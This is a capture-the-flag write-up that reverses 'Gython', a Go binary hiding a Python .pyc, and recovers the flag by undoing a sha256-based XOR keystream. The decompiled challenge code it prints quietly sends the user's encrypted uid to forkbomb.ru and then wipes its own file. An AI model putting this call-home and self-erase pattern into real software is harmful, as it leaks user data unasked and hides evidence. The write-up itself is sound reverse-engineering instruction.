Gython
Gython
Platform: spbctf | Category: Reversing | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-07-02 | Status: Solved Techniques: hex_gzip_decoding, pkger_embed_extraction, pyc_decompilation_uncompyle6, pyc_extraction, sha256_hash_verification, xor_keystream_analysis
Summary
Task: Go 1.12.9 static ELF that embeds a Python 3.6 .pyc via markbates/pkger; the flag check lives in the embedded bytecode. Solution: extract the hex-encoded gzip pkger blob, decode the base64 pyc, decompile with uncompyle6, then reverse the XOR-against-sha256-keystream encrypt routine to recover the flag.
Gython — SPb CTF 2020 (kids-final)
Description
Gython
"Gython" = Go + Python. The distributed file gython.elf is a Go 1.12.9
statically-linked x86-64 ELF that embeds a Python 3.6 .pyc file. The
flag-checking logic lives in the embedded Python bytecode, not in the Go code.
The goal is to extract the embedded Python, understand its check, and recover
the flag.
Analysis
Recon
$ file gython.elf
ELF 64-bit LSB executable, x86-64, statically linked, Go BuildID=..., not stripped
strings on the binary revealed the embedding mechanism and key constants:
github.com/markbates/pkger(v0.16.0) plus the path/data/__init__.pyc→ the Go binary embeds a Python.pycvia the pkger static-asset library.- Build path leak:
/Users/nostr/war/spbctf2020/kids-final/gython/go/main.go. - Interesting non-runtime constants:
- base64:
HzURFvGeN7sClEVLJDBnZVnlrTUBDw41RFefNmcB7bdfFg== - sha256 hex:
fb0d5faa2b54bc25b1654a90106913bd1dd7e5a0400986f7676ec1e0afa93d71 Please, run on Linux machine. Something goes wrong.
- base64:
No plain gzip magic and no plain .pyc magic were found by a naive byte search
— pkger stores its embedded filesystem as a hex-encoded gzip string
constant.
Locating the embedded data
Searching the binary for a long run of hex-alphabet characters found a
5042-char run at offset 0x328549 starting with 1f8b08. Those three bytes
(1f 8b 08) are the gzip magic — i.e. this is a hex-encoded gzip stream,
which is exactly how pkger stores its embed manifest.
Solution
Step 1 — Extract the hex-gzip pkger blob
python read-only • copy allowedimport re, gzip data = open("gython.elf", "rb").read() m = re.search(rb'1f8b08[0-9a-f]{100,}', data) hx = m.group().decode() raw = bytes.fromhex(hx[:len(hx) - (len(hx) % 2)]) dec = gzip.decompress(raw) # 8079 bytes open("embed_blob.bin", "wb").write(dec)
embed_blob.bin is a JSON manifest with the pkger infos / files / here
structure. The real .pyc sits under
files["gython:/data/__init__.pyc"]["data"] as a base64 string (size 1339).
Step 2 — Recover the .pyc
python read-only • copy allowedimport json, base64 d = json.load(open("embed_blob.bin")) pyc = base64.b64decode(d["files"]["gython:/data/__init__.pyc"]["data"]) open("__init__.pyc", "wb").write(pyc) # magic 330d0d0a = Python 3.6, 1339 bytes
Step 3 — Decompile with uncompyle6
$ uncompyle6 __init__.pyc
Recovered source (embedded filename 1.py):
python read-only • copy allowedimport base64, hashlib, os, sys, urllib.request KEY = b'K[\x87\xb7\xddR\x1e\xc0I\x1d/\xa2\xea\xa4\xadGW?Z\xffN\x80k\x9d\xe1\xfc4\xffs\xb2\x86k1' def byte_xor(ba1, ba2): return bytes([_a ^ _b for _a, _b in zip(ba1, ba2)]) def encrypt(key, plaintext): while len(key) < len(plaintext): key += hashlib.sha256(key).digest() key = key[::-1] return byte_xor(key[:len(plaintext)], plaintext) def check(params): if len(params) != 1: return False return hashlib.sha256(encrypt(KEY, base64.b64decode(params[0]))).hexdigest() == \ "fb0d5faa2b54bc25b1654a90106913bd1dd7e5a0400986f7676ec1e0afa93d71" try: if check(sys.argv[1:]): r = urllib.request.urlopen( "https://forkbomb.ru/?answer=" + str(encrypt(KEY, str(os.getuid()).encode()))) with open("1.txt", "w") as f: f.write(r.read(1024).decode("utf-8")) except: pass with open(__file__, "wb") as f: f.write(b'') # self-erase
Step 4 — Reverse the keystream cipher
encrypt is nothing but a XOR against a keystream: the 32-byte KEY is
extended by sha256-chaining (key += sha256(key)) until it is at least as long
as the plaintext, then reversed and XORed byte-for-byte. Because XOR is its
own inverse, the routine is fully reversible.
The base64 constant found in the binary
(HzURFvGeN7sClEVLJDBnZVnlrTUBDw41RFefNmcB7bdfFg==) is exactly the valid
argv[0] that passes the check. Feeding it through encrypt(KEY, b64decode(input))
produces the ciphertext whose sha256 matches the stored target — and that
ciphertext is the flag plaintext itself:
python read-only • copy allowedimport base64, hashlib KEY = b'K[\x87\xb7\xddR\x1e\xc0I\x1d/\xa2\xea\xa4\xadGW?Z\xffN\x80k\x9d\xe1\xfc4\xffs\xb2\x86k1' def byte_xor(a, b): return bytes([x ^ y for x, y in zip(a, b)]) def encrypt(key, pt): while len(key) < len(pt): key += hashlib.sha256(key).digest() key = key[::-1] return byte_xor(key[:len(pt)], pt) pt = base64.b64decode("HzURFvGeN7sClEVLJDBnZVnlrTUBDw41RFefNmcB7bdfFg==") ct = encrypt(KEY, pt) assert hashlib.sha256(ct).hexdigest() == \ "fb0d5faa2b54bc25b1654a90106913bd1dd7e5a0400986f7676ec1e0afa93d71" print(ct) # b'spbctf{REDACTED}'
Output: spbctf{REDACTED}.